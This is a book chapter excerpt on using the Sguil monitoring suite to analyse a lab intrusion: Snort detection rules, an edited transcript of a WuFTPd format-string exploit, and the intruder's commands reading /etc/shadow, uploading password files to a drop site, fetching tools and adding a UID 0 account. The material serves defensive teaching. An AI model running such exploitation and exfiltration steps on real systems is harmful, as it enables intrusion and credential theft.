Home > Articles > Security > Network Security

  • Print
  • + Share This
This chapter is from the book

Sguil versus the Reference Intrusion Model

Now that we understand how to use Sguil, let's take a look at the reference intrusion model scenario through the eyes of this open source NSM suite. We start by taking in the broad picture shown by all of the unique alerts Sguil displays. Figure 10.9 shows the sort of screen Sguil would display while the events are ongoing. Remember that Sguil is foremost a real-time tool. As activity occurs, analysts can investigate without refreshing browsers or rerunning queries.

10fig09.jpgFigure 10.9 Alert portion of the Sguil interpretation of the reference intrusion model

We see several types of alerts in Figure 10.9.

  • More than a dozen LOCAL Incoming connection attempt port 22 TCP alerts are listed. This is a simple alert that triggers on SYN packets to port 22 TCP. We see hosts 172.27.20.4, 172.27.20.5, 192.168.60.5, and 192.168.60.3 all appear to have initiated connection attempts to port 22 TCP on several targets.

  • We see three SHELLCODE x86 NOOP alerts. These may indicate buffer-overflow attacks. The last SHELLCODE alert may not indicate this given the use of source port 20 TCP. This port is more likely part of an active FTP data channel, so the alert triggered on the contents of the file transferred via FTP. Still, what was that file? We'll see shortly.

  • The FTP SITE overflow attempt alert is most worrisome. If valid, the target may be compromised. We'll know for sure in a minute.

  • An ATTACK RESPONSES id check returned root alert sounds ominous.

  • While this screen depicts only a handful of SCAN nmap TCP alerts, they continue down the screen (as imagined by the position of the scroll bar in the upper-right corner.) What are these?

  • In the middle pane are POLICY FTP anonymous (ftp) login attempt and two closely related MISC MS Terminal server request alerts.

  • The bottom pane shows the stream4 preprocessor's belief that several reconnaissance events occurred.

We can use Sguil to more closely investigate several of these alerts. In Chapter 7 we looked at session data using Argus and NetFlow. I won't use Sguil in that capacity, other than to show a screenshot.

SHELLCODE x86 NOOP and Related Alerts

The SHELLCODE x86 NOOP alert is triggered by the following Snort rule.

alert ip $EXTERNAL_NET any -> $HOME_NET $SHELLCODE_PORTS
  (msg:"SHELLCODE x86 NOOP"; content: "|90 90 90 90 90 90
  90 90 90 90 90 90 90 90|"; depth: 128;
  reference:arachnids,181; classtype:shellcode-detect;
  sid:648; rev:5;)

Back in the late 1990s, this represented a decent way to detect buffer-overflow attacks, particularly against Linux systems. Intruders have generally left this sort of shellcode behind in favor of more elaborate techniques. Figure 10.10 shows the Sguil display of the packet data that triggered the alert.

10fig10.jpgFigure 10.10 SHELLCODE x86 NOOP alert

The 0x62696E307368 entry or bin0sh is the easiest item to identify after the NOOP sled of 0x90s. Looking at this alert data is where most intrusion detection ends. What happened next? The answer to this question lies with NSM. Let's look at the transcript for this session. I edited it to concentrate on the most interesting information. Interpretation appears in normal text along the way.

DST: 220 oates.taosecurity.com FTP server (Version wu-2.6.0(1)
  Mon Feb 28 10:30:36 EST 2000) ready.
SRC: USER ftp
DST: 331 Guest login ok, send your complete e-mail address as
  password.

Here is the attack against the WuFTPd service on the target. It's not important as analysts to recognize every character. Unless you are seeing transcripts of binary protocols or binary files (images, audio, movies, and so on), this sort of garbage should not appear in innocent traffic.

PASS ............................................................
...edited...
..F..^..=.....0...F.1..F..v..F....N..V.....1.1..........0bin0sh1.
.11
DST: 230-The response '................................................................
...edited...
......v..F....N..V.....1.1.......0bin0sh1..11' is not valid
DST: 230-Next time please use your e-mail address as your
     password
DST: 230-        for example: joe@bourque.exploiter.com
DST: 230 Guest login ok, access restrictions apply.
SRC: site exec xx(....%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%
...edited...
.f%.f%.f%.f%c%c%c%.f|%p
DST: 200-xx(...-2-2000-2000000000000000000000000000000000nan00000
-2000000000000000000000000000000000000000000000000000000000000000
00000000-2-240nan0346-200///20442978510170838784499890650457027907723523873036300213200
...edited...
055862085579854375388737364352875713898132780479414272|0xbfffb028
DST: 200  (end of 'xx(...%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%
...edited...
.f%c%c%c%.f|%p')
SRC: site exec xx(....%d%.134699076d.f%.f%.f%.f%.f%.f%.f%.f%.f%.
...edited...
.f%.f%.f%c%c%c%.f|%n

This is where the real trouble begins. The exploit succeeds and the intruder is using the same socket to issue commands through a shell as user root.

SRC: /bin/uname -a;/usr/bin/id;
DST: Linux oates 2.2.14-5.0 #1 Tue Mar 7 20:53:41 EST 2000 i586
     unknown
DST: uid=0(root) gid=0(root) egid=50(ftp) groups=50(ftp)
SRC: whoami
DST: root

In the netstat output the intruder's connection is the first entry.

SRC: netstat -na
DST: Active Internet connections (servers and established)
DST: Proto Recv-Q Send-Q Local Address   Foreign Address  State
DST: tcp        0      0 192.168.60.5:21 172.27.20.3:3307 ESTABL
DST: tcp        0      0 192.168.60.5:53 0.0.0.0:*        LISTEN
DST: tcp        0      0 127.0.0.1:53    0.0.0.0:*        LISTEN
...truncated...

Observe that in the following w command output, no one is listed as being logged in. This happens because the intruder's attack circumvents routine processing by the login program.

SRC: w
DST: 2:51pm up 2 days, 20:28, 0 users, load average: 0.57,0.26,
DST: USER     TTY      FROM   LOGIN@   IDLE   JCPU   PCPU  WHAT
SRC: whoami
DST: root

Next, the intruder looks at the /etc/passed and /etc/shadow files. The password hashes are stored in the /etc/shadow file.

SRC: cat /etc/passwd
DST: root:x:0:0:root:/root:/bin/bash
DST: bin:x:1:1:bin:/bin:
...edited...
SRC: cat /etc/shadow
DST: root:$1$oseWKEKP$W079K2hnu9/r6Y7pernuc.:12416:0:99999:7:
     -1:-1:134539260
DST: bin:*:11756:0:99999:7:::
...truncated...

Now the intruder changes to the root directory and does a recursive directory listing. She redirects the results to a file stored in the /tmp directory. All of the errors are seen via standard error, which is sent to the intruder's screen. She also copies the /etc/passwd and /etc/shadow files to the /tmp directory.

SRC: cd /
SRC: ls -alR > /tmp/192.168.60.5.dirlist
DST: ls:
DST: ./proc/2/exe: No such file or directory
...edited...
SRC: pwd
DST: /
SRC: cp /etc/passwd /tmp/192.168.60.5.passwd
SRC: cp /etc/shadow /tmp/192.168.60.5.shadow

Now the intruder accesses her drop site, 172.27.20.5, and exchanges a few files. She puts her /etc/passwd and /etc/shadow files, along with the recursive directory listing, on the remote FTP server. She retrieves Server.c and Datapipe.

SRC: ftp 172.27.20.5
SRC: macgyver
DST: Password:
SRC: penny
SRC: bin
SRC: lcd /tmp
SRC: put 192.168.60.5.passwd
SRC: put 192.168.60.5.shadow
SRC: put 192.168.60.5.dirlist
...edited...
SRC: get server.c
SRC: get datapipe
SRC: bye
...truncated...

Once done with her FTP session, she adds two users. One is named murdoc and has UID 0, giving her root's powers. The other account is named pete and is a normal user account.

SRC: cd /tmp
...edited...
SRC: /usr/sbin/useradd -u 0 murdoc
SRC: passwd murdoc
DST: New UNIX password:
SRC: goodbyemacgyver
DST: Retype new UNIX password:
SRC: goodbyemacgyver
DST: Changing password for user murdoc
DST: passwd: all authentication tokens updated successfully
SRC: /usr/sbin/useradd pete
SRC: passwd pete
DST: New UNIX password:
SRC: phoenix
DST: BAD PASSWORD: it is based on a dictionary word
DST: Retype new UNIX password:
SRC: phoenix
DST: Changing password for user pete
DST: passwd: all authentication tokens updated successfully

So ends the transcript for the SHELLCODE x86 NOOP alert. This is far more information than most "intrusion detection systems" would provide! It's not the end, however. If full content data collected the FTP data channels indicated here, we can retrieve the files the intruder downloaded. The best way to get at this information is to perform a query for session data involving the remote FTP site 172.27.20.5. Pertinent results appear in Figure 10.11.

10fig11.gifFigure 10.11 Query for sessions involving 172.27.20.5

Because of the way the Snort stream4 preprocessor writes session data, we see several entries for the same session. For example, any entry sharing the same socket data is for the same session. This includes the session from 192.168.60.5:1032 to 172.27.20.5:21. The entries showing source port 20 TCP are most likely active FTP sessions. Port 20 TCP sessions with low packet and byte counts (like the second and third entries with 4/0/4/849 and 4/0/4/917) are most likely the results of directory listings or transfers of very small files. In this case the second and third entries are the uploads of the /etc/passwd and /etc/shadow files, respectively. Port 20 TCP sessions with bulkier packet and byte counts (like the fourth entry with 1144/0/1720/2347168) are uploads or downloads. The fourth entry is the upload of the recursive directory listing. You can verify all these assertions yourself if you generate transcripts for each session using the book's sample libcap data available at http://www.taosecurity.com

We are more interested in what the intruder downloaded, however. Working our way through the port 20 TCP sessions, we find the contents of the Server.c and Datapipe transfers. First, Server.c appears to be a network daemon.

DST: /* spwn */
DST:
DST: char *m[]={
DST: ."1.1.1.1", /* first master */
DST: ."2.2.2.2", /* second master */
DST: ."3.3.3.3", /* third master etc */
DST: .0 };
DST:
DST: #define MASTER_PORT 9325
DST: #define SERVER_PORT 7983
DST:
DST: #include <sys/time.h>
DST: #include <strings.h>
DST: #include <stdarg.h>
DST: #include <string.h>
DST: #include <unistd.h>
DST: #include <sys/types.h>
DST: #include <sys/socket.h>
...truncated...

The transcript as displayed by Sguil can be copied and pasted into a new file. Once there it could be compiled and run, should someone wish to try the code rather than interpret the source. Because the source is available, investigating it is more reliable. Datapipe, however, doesn't appear so friendly in a transcript, as shown here.

DST: .ELF....................`...4....-......4.
...(.".......4...4...4..........................................
..................................................l...t.........
.............................................. ... ...........
/lib/ld-linux.so.2..............GNU.....................

In situations like these, we have two choices: (1) we can launch Ethereal, rebuild the session, and then save the result to disk; or (2) we can launch Ethereal, which copies the libpcap data for the session to the /tmp directory on the analyst workstation. Once there, we can use Tcpflow to create the associated binary. A quick run through strings verifies this is Datapipe, a tool to redirect TCP sessions.

orr:/tmp$ file *.raw
172.27.20.5_20-192.168.60.5_1038-6.raw:
  tcpdump capture file (little-endian) - version 2.4
  (Ethernet, capture length 1514)

orr:/tmp$ tcpflow -r 172.27.20.5_20-192.168.60.5_1038-6.raw

orr:/tmp$ file 172.027.020.005.00020-192.168.060.005.01038

172.027.020.005.00020-192.168.060.005.01038: ELF 32-bit LSB
  executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.5,
  dynamically linked (uses shared libs), not stripped

orr:/tmp$ strings -a 172.027.020.005.00020-192.168.060.005.01038
  | grep -i usage
Usage: %s localport remoteport remotehost

If we managed to collect every packet needed in the Datapipe binary, we could copy this file rebuilt with Tcpflow to a Linux system and run the same tool that our intruder used.

Do you remember the SHELLCODE x86 NOOP alert associated with port 20 TCP, from Figure 10.9? The corresponding session entry is the last shown in Figure 10.11, involving the socket 172.27.20.5:20 to 192.168.60.5:1041. While we have this session on our screen, let's generate a transcript to see if this is really a buffer overflow or more like a file transfer (see Figure 10.12).

10fig12.jpgFigure 10.12 Sguil transcript of the transfer of the portscanner program

Sure enough, this is a binary named portscanner. We see the usage statement, which confirms our suspicions. While this is not associated with a second buffer-overflow attempt, we do see the intruder downloading malicious code from her drop site.

FTP SITE Overflow Attempt Alerts

We also made note of an FTP SITE overflow attempt alert when we began our investigation. This alert has the following rule.

alert tcp $EXTERNAL_NET any -> $HOME_NET 21
  (msg:"FTP SITE overflow attempt"; flow:to_server,established;
  content:"SITE "; nocase; content:!"|0a|"; within:100;
  reference:cve,CAN-2001-0755; reference:cve,CAN-2001-0770;
  reference:cve,CVE-1999-0838; classtype:attempted-admin;
  sid:1529; rev:7;)

This content should look familiar; it appeared in the transcript for the SHELLCODE x86 NOOP alert. Looking back at the two alerts (see Figure 10.9), they both come from 172.27.20.3:3307 to 192.168.60.5:21. Generating a transcript for the FTP SITE overflow attempt alert produces the same result as the SHELLCODE x86 NOOP alert. The POLICY FTP anonymous (ftp) login attempt and ATTACK RESPONSES id check returned root alerts also indicate suspicious activity for that session.

SCAN nmap TCP Alerts

A few minutes examining the SCAN nmap TCP alerts shows the first one to be part of reconnaissance activity and the next one to be something completely different. Figure 10.13 shows the first alert, from 172.27.20.4 to 192.168.60.5; Figure 10.14 shows the second alert, from 251.35.253.73 to 172.27.20.102. For a final comparison, Figure 10.15 shows a third SCAN nmap TCP alert, this time from 195.242.254.85.

10fig13.gifFigure 10.13 SCAN nmap TCP alert from 172.27.20.4

10fig14.gifFigure 10.14 SCAN nmap TCP alert from 251.35.253.73

10fig15.gifFigure 10.15 SCAN nmap TCP alert from 195.242.254.85

At first glance these alerts may appear similar, but subtle differences help separate them. Note that the last two share the same TTL of 25 and the same destination IP. All of the later SCAN nmap TCP alerts have the same TTL and target. However, the first SCAN nmap TCP alert belongs with the messages shown in Figure 10.16, which were generated by the stream4 preprocessor.

10fig16.jpgFigure 10.16 spp_stream4 reporting suspicious packets

The highlighted alert at the top of Figure 10.16 is also from 172.27.20.4 to port 24 TCP on 192.168.60.5, but it is not the same packet. Whereas the SCAN nmap TCP alert contained a single ACK flag, this packet shows URG PSH FIN. Looking at the alert titled spp_stream4: NMAP Fingerprint Stateful Detection, we can guess the SCAN nmap TCP alert to port 24 is part of an operating system fingerprint reconnaissance activity.

This analysis does not leave those crazy SCAN nmap TCP alerts without explanation. ACK packets to random ports from random IP addresses are characteristic of the TCP ACK floods generated by the Mstream denial-of-service tool. [5] Looking at the alert ID and timestamp for the first DoS-related SCAN nmap TCP alert (not shown) reveals an alert ID 1.77585 at 21:02:09. The alerts continue uninterrupted until ID 1.80036 at 21:02:16. That's over 2,400 alerts in 7 seconds, or over 340 alerts per second.

The target of the DoS activity was 172.27.20.102, but in reality the IDS could have suffered greater damage. While trying to identify and give alerts on what it perceives as evidence of reconnaissance, the IDS may miss more important activity. Misapplication of rules puts unnecessary and potentially harmful strain on the sensor. Keep this in mind when you write your IDS rules.

MISC MS Terminal Server Request Alerts

We'll use the Terminal Services alerts to wrap up this chapter with a look at session data and the reference intrusion model. Constructing custom queries in Sguil requires only knowledge of the database fields you find useful. For example, you can query for ports if you know the syntax (see Figure 10.17).

10fig17.gifFigure 10.17 Session query for port 3389

Sguil allows analysts to create custom queries in the Query Builder or in the top bar of any session results window. Here the query is for port 3389:

WHERE sessions.start_time > '2004-02-11' AND  sessions.dst_port
  = 3389 LIMIT 500

Remember this is only the WHERE part of the query. If we watch the Sguil daemon server component in action on the server when this query is executed, we see that the database actually processes the following query.

SELECT sensor.hostname, sessions.xid, sessions.start_time,
  sessions.end_time, INET_NTOA(sessions.src_ip),
  sessions.src_port, INET_NTOA(sessions.dst_ip),
  sessions.dst_port, sessions.src_pckts, sessions.src_bytes,
  sessions.dst_pckts, sessions.dst_bytes FROM sessions INNER
  JOIN sensor ON sessions.sid=sensor.sid
  WHERE sessions.start_time > '2004-02-11'
  AND  sessions.dst_port = 3389 LIMIT 500

The session data results show what is probably reconnaissance for the traffic with low packet and byte counts in the first four entries of Figure 10.17. Traffic involving sockets 192.168.60.3 with source ports 34716, 34717, and 34720 look like interactive sessions. These have very high packet and byte counts in both directions. Since Microsoft Terminal Services (or Remote Desktop Protocol, RDP) is encrypted and binary, we cannot read it. We can say that 192.168.60.3 established a few sessions with 10.10.10.3 and no other systems observed by our sensor.

Knowing What Didn't Happen Is as Important as Knowing What Did Happen

In graduate school my favorite professor, Phil Zelikow, taught a valuable lesson. He said, "It's as important to observe what is not said as what is said." In other words, the fact that a party doesn't mention a topic or make a certain statement is as important as the words he or she actually uses.

Professor Zelikow applied this maxim to political science and national security issues, but the idea applies well to NSM. If a manager asks, "Which systems did the intruder contact?", it's relevant that there is no evidence of RDP sessions to systems other than 10.10.10.3. Assuming confidence in the performance and configuration of your sensor, the fact that the intruder did not talk to any other systems on port 3389 TCP is as important as the fact that he or she did communicate with 10.10.10.3.

Without session data, answering this question would require lengthy hands-on investigation of other data sources. This usually means querying event logs on potential Windows systems. It also means that Windows systems not known to the IT staff and those not thought to run Terminal Services (even if they do) could be overlooked.

  • + Share This
  • 🔖 Save To Your Account

InformIT Promotional Mailings & Special Offers

I would like to receive exclusive offers and hear about products from InformIT and its family of brands. I can unsubscribe at any time.

Overview


Pearson Education, Inc., 221 River Street, Hoboken, New Jersey 07030, (Pearson) presents this site to provide information about products and services that can be purchased through this site.

This privacy notice provides an overview of our commitment to privacy and describes how we collect, protect, use and share personal information collected through this site. Please note that other Pearson websites and online products and services have their own separate privacy policies.

Collection and Use of Information


To conduct business and deliver products and services, Pearson collects and uses personal information in several ways in connection with this site, including:

Questions and Inquiries

For inquiries and questions, we collect the inquiry or question, together with name, contact details (email address, phone number and mailing address) and any other additional information voluntarily submitted to us through a Contact Us form or an email. We use this information to address the inquiry and respond to the question.

Online Store

For orders and purchases placed through our online store on this site, we collect order details, name, institution name and address (if applicable), email address, phone number, shipping and billing addresses, credit/debit card information, shipping options and any instructions. We use this information to complete transactions, fulfill orders, communicate with individuals placing orders or visiting the online store, and for related purposes.

Surveys

Pearson may offer opportunities to provide feedback or participate in surveys, including surveys evaluating Pearson products, services or sites. Participation is voluntary. Pearson collects information requested in the survey questions and uses the information to evaluate, support, maintain and improve products, services or sites, develop new products and services, conduct educational research and for other purposes specified in the survey.

Contests and Drawings

Occasionally, we may sponsor a contest or drawing. Participation is optional. Pearson collects name, contact information and other information specified on the entry form for the contest or drawing to conduct the contest or drawing. Pearson may collect additional personal information from the winners of a contest or drawing in order to award the prize and for tax reporting purposes, as required by law.

Newsletters

If you have elected to receive email newsletters or promotional mailings and special offers but want to unsubscribe, simply email information@informit.com.

Service Announcements

On rare occasions it is necessary to send out a strictly service related announcement. For instance, if our service is temporarily suspended for maintenance we might send users an email. Generally, users may not opt-out of these communications, though they can deactivate their account information. However, these communications are not promotional in nature.

Customer Service

We communicate with users on a regular basis to provide requested services and in regard to issues relating to their account we reply via email or phone in accordance with the users' wishes when a user submits their information through our Contact Us form.

Other Collection and Use of Information


Application and System Logs

Pearson automatically collects log data to help ensure the delivery, availability and security of this site. Log data may include technical information about how a user or visitor connected to this site, such as browser type, type of computer/device, operating system, internet service provider and IP address. We use this information for support purposes and to monitor the health of the site, identify problems, improve service, detect unauthorized access and fraudulent activity, prevent and respond to security incidents and appropriately scale computing resources.

Web Analytics

Pearson may use third party web trend analytical services, including Google Analytics, to collect visitor information, such as IP addresses, browser types, referring pages, pages visited and time spent on a particular site. While these analytical services collect and report information on an anonymous basis, they may use cookies to gather web trend information. The information gathered may enable Pearson (but not the third party web trend services) to link information with application and system log data. Pearson uses this information for system administration and to identify problems, improve service, detect unauthorized access and fraudulent activity, prevent and respond to security incidents, appropriately scale computing resources and otherwise support and deliver this site and its services.

Cookies and Related Technologies

This site uses cookies and similar technologies to personalize content, measure traffic patterns, control security, track use and access of information on this site, and provide interest-based messages and advertising. Users can manage and block the use of cookies through their browser. Disabling or blocking certain cookies may limit the functionality of this site.

Do Not Track

This site currently does not respond to Do Not Track signals.

Security


Pearson uses appropriate physical, administrative and technical security measures to protect personal information from unauthorized access, use and disclosure.

Children


This site is not directed to children under the age of 13.

Marketing


Pearson may send or direct marketing communications to users, provided that

  • Pearson will not use personal information collected or processed as a K-12 school service provider for the purpose of directed or targeted advertising.
  • Such marketing is consistent with applicable law and Pearson's legal obligations.
  • Pearson will not knowingly direct or send marketing communications to an individual who has expressed a preference not to receive marketing.
  • Where required by applicable law, express or implied consent to marketing exists and has not been withdrawn.

Pearson may provide personal information to a third party service provider on a restricted basis to provide marketing solely on behalf of Pearson or an affiliate or customer for whom Pearson is a service provider. Marketing preferences may be changed at any time.

Correcting/Updating Personal Information


If a user's personally identifiable information changes (such as your postal address or email address), we provide a way to correct or update that user's personal data provided to us. This can be done on the Account page. If a user no longer desires our service and desires to delete his or her account, please contact us at customer-service@informit.com and we will process the deletion of a user's account.

Choice/Opt-out


Users can always make an informed choice as to whether they should proceed with certain services offered by InformIT. If you choose to remove yourself from our mailing list(s) simply visit the following page and uncheck any communication you no longer want to receive: www.informit.com/u.aspx.

Sale of Personal Information


Pearson does not rent or sell personal information in exchange for any payment of money.

While Pearson does not sell personal information, as defined in Nevada law, Nevada residents may email a request for no sale of their personal information to NevadaDesignatedRequest@pearson.com.

Supplemental Privacy Statement for California Residents


California residents should read our Supplemental privacy statement for California residents in conjunction with this Privacy Notice. The Supplemental privacy statement for California residents explains Pearson's commitment to comply with California law and applies to personal information of California residents collected in connection with this site and the Services.

Sharing and Disclosure


Pearson may disclose personal information, as follows:

  • As required by law.
  • With the consent of the individual (or their parent, if the individual is a minor)
  • In response to a subpoena, court order or legal process, to the extent permitted or required by law
  • To protect the security and safety of individuals, data, assets and systems, consistent with applicable law
  • In connection the sale, joint venture or other transfer of some or all of its company or assets, subject to the provisions of this Privacy Notice
  • To investigate or address actual or suspected fraud or other illegal activities
  • To exercise its legal rights, including enforcement of the Terms of Use for this site or another contract
  • To affiliated Pearson companies and other companies and organizations who perform work for Pearson and are obligated to protect the privacy of personal information consistent with this Privacy Notice
  • To a school, organization, company or government agency, where Pearson collects or processes the personal information in a school setting or on behalf of such organization, company or government agency.

Links


This web site contains links to other sites. Please be aware that we are not responsible for the privacy practices of such other sites. We encourage our users to be aware when they leave our site and to read the privacy statements of each and every web site that collects Personal Information. This privacy statement applies solely to information collected by this web site.

Requests and Contact


Please contact us about this Privacy Notice or if you have any requests or questions relating to the privacy of your personal information.

Changes to this Privacy Notice


We may revise this Privacy Notice through an updated posting. We will identify the effective date of the revision in the posting. Often, updates are made to provide greater clarity or to comply with changes in regulatory requirements. If the updates involve material changes to the collection, protection, use or disclosure of Personal Information, Pearson will provide notice of the change through a conspicuous notice on this site or other appropriate way. Continued use of the site after the effective date of a posted revision evidences acceptance. Please contact us if you have questions or concerns about the Privacy Notice or any objection to any revisions.

Last Update: November 17, 2020